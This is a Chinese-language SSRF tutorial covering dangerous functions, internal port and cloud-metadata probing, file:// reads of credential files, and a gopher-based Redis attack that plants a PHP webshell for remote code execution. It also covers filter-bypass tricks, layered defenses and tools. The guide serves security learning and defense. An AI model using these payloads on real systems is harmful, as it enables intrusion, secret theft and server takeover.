攻击核心原理
当应用程序存在**"代表用户"访问指定URL**的功能时(如分享预览、数据获取、网页抓取、Webhook通知等),如果攻击者能够控制这个URL,并使其访问内部或受限制的网络资源,就构成了SSRF。
关键点:攻击者利用了应用程序服务器作为"跳板",从而绕过网络边界限制,实现从外网到内网的穿透。
简单点就是:网站拥有让我访问别的网站的功能,我访问的是类似192.168.150.3:80这样的内网ip。服务器就会访问到自己的内网。如果真的存在这个ip就会返回结果。
危险函数/类(补充与优化)
| 语言 | 危险函数/类 | 风险描述 |
|---|---|---|
| PHP | file_get_contents(), fopen(), curl_exec(), fsockopen() |
支持多种协议,缺乏默认限制。 |
| Python | urllib.request.urlopen(), requests.get(), httpx.get() |
早期urllib可能支持危险协议,需手动禁用。 |
| Java | URLConnection().openStream(), HttpClient.execute() |
默认行为可能较宽松。 |
| Node.js | http.get(), request(), fetch(), axios() |
fetch行为相对可控,但配置错误仍危险。 |
| Go | http.Get(), http.NewRequest(), defaultClient.Do() |
需要自定义Transport来施加严格限制。 |
| .NET (C#) | WebClient.DownloadString(), HttpClient.GetStringAsync() |
默认行为需注意。 |
攻击协议与利用手法(深化)
1. 信息收集与端口扫描 通过响应时间、错误信息或返回内容来探测内网服务。
探测常见服务
http://192.168.1.1:22 # SSH
http://127.0.0.1:6379 # Redis
http://127.0.0.1:3306 # MySQL
http://127.0.0.1:8080/actuator/health # Spring Boot Actuator
云元数据服务(高价值目标)
http://169.254.169.254/latest/meta-data/ # AWS
http://100.100.100.200/latest/meta-data/ # Alibaba Cloud
http://metadata.google.internal/computeMetadata/v1/ # GCP (需要头 Metadata-Flavor: Google)
2. 文件读取 利用file://协议读取服务器本地敏感文件。
Linux
file:///etc/passwd
file:///proc/self/environ # 读取当前进程环境变量,可能包含密钥
file:///var/run/secrets/kubernetes.io/serviceaccount/token # Kubernetes Service Account Token
Windows
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/xampp/htdocs/config/config.inc.php
3. 攻击内网应用(SSRF to RCE的桥梁) 这是将SSRF危害最大化的关键。通过构造特定协议请求,直接与内网无认证或弱认证的应用交互,实现命令执行。
-
攻击Redis(未授权访问) 使用
gopher或dict协议向Redis发送命令,写入Webshell或反弹Shell。使用 Gopherus 等工具生成Payload,将公钥写入/root/.ssh/authorized_keys,或写入PHP WebShell gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a... -
攻击FastCGI (PHP-FPM) 当PHP-FPM暴露在端口上(如9000)时,可以构造FastCGI协议包,使其执行任意PHP代码。
使用工具构造Payload http://127.0.0.1:9000 # 请求体中是恶意的FastCGI协议数据 -
攻击MySQL 通过
gopher协议与MySQL交互,但难度较高,需要知道如何构造MySQL协议包。
绕过技巧(补充)
-
DNS重绑定:
-
注册一个域名,其DNS记录TTL极短,第一次解析返回一个合法外网IP(通过白名单校验),第二次解析返回
127.0.0.1(实际发起请求)。 -
使用公共服务如
spoofed.burpcollaborator.net。
-
-
利用URL解析差异:
-
不同库(如
curlvsurllib)对URL的解析规则不同,可能造成绕过。 -
示例:
http://127.1:80@google.comvshttp://google.com@127.1:80
-
-
IPv6与特殊地址:
-
http://[::1]:80/ -
http://0.0.0.0:80/
-
高级攻击:SSRF to RCE
这正是你提到的核心。当SSRF可以攻击内网特定服务时,RCE就成为了可能。其流程如下:
-
发现SSRF漏洞点 (如
url参数可控)。 -
探测内网环境 ,发现存在
127.0.0.1:6379的Redis服务,且未授权访问。 -
构造攻击载荷 :使用
Gopherus工具生成攻击Redis的Payload,目标是写入一个PHP WebShell到Web目录。python gopherus.py --exploit redis 输入你的PHP命令,如:<?php system($_GET['cmd']);?> -
发起SSRF攻击:将生成的Gopher URL作为参数传入。
vulnerable-site.com/share?url=gopher://127.0.0.1:6379/_...生成的Payload... -
访问WebShell :服务器会执行该Payload,在Web目录(如
/var/www/html/shell.php)写入Webshell。 -
实现RCE :直接访问
http://vulnerable-site.com/shell.php?cmd=id,执行系统命令。
防御方案
一个完整的SSRF防御策略应该是多层次、纵深式的。
-
输入校验与白名单:
-
最佳实践:建立允许的域名或IP白名单。只允许访问公网、业务相关的安全域名。
-
次优方案 :如果必须允许用户输入URL,则阻断内网IP段(
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)、链路本地地址等。
-
-
协议限制:
- 只允许
HTTP和HTTPS协议。显式禁用file://,gopher://,dict://,ftp://等危险协议。
- 只允许
-
应用层控制:
-
禁用URL重定向(30x跟随)。
-
对响应内容进行校验,避免敏感信息泄露。
-
-
网络层隔离:
-
将执行网络请求的应用程序部署在独立的、严格限制出网权限的网络段(DMZ)。使用防火墙策略禁止其访问管理网段和元数据服务。
-
这是最有效、最根本的解决方案之一。
-
-
使用安全的客户端:
-
使用单独的、配置严格的HTTP客户端进行出站请求。
-
例如,在Go中自定义
http.Transport,在Python中使用requests库并设置allow_redirects=False。
-
推荐工具
-
SSRFmap: 自动化的SSRF利用框架,支持多种后利用模块(如端口扫描、文件读取、攻击Redis等)。
-
Gopherus: 专门生成用于攻击Redis、MySQL、FastCGI等的Gopher Payload。
-
ffuf / dirsearch: 用于对内网服务进行目录/内容发现。
-
Burp Suite Collaborator: 用于检测盲SSRF和DNS重绑定攻击。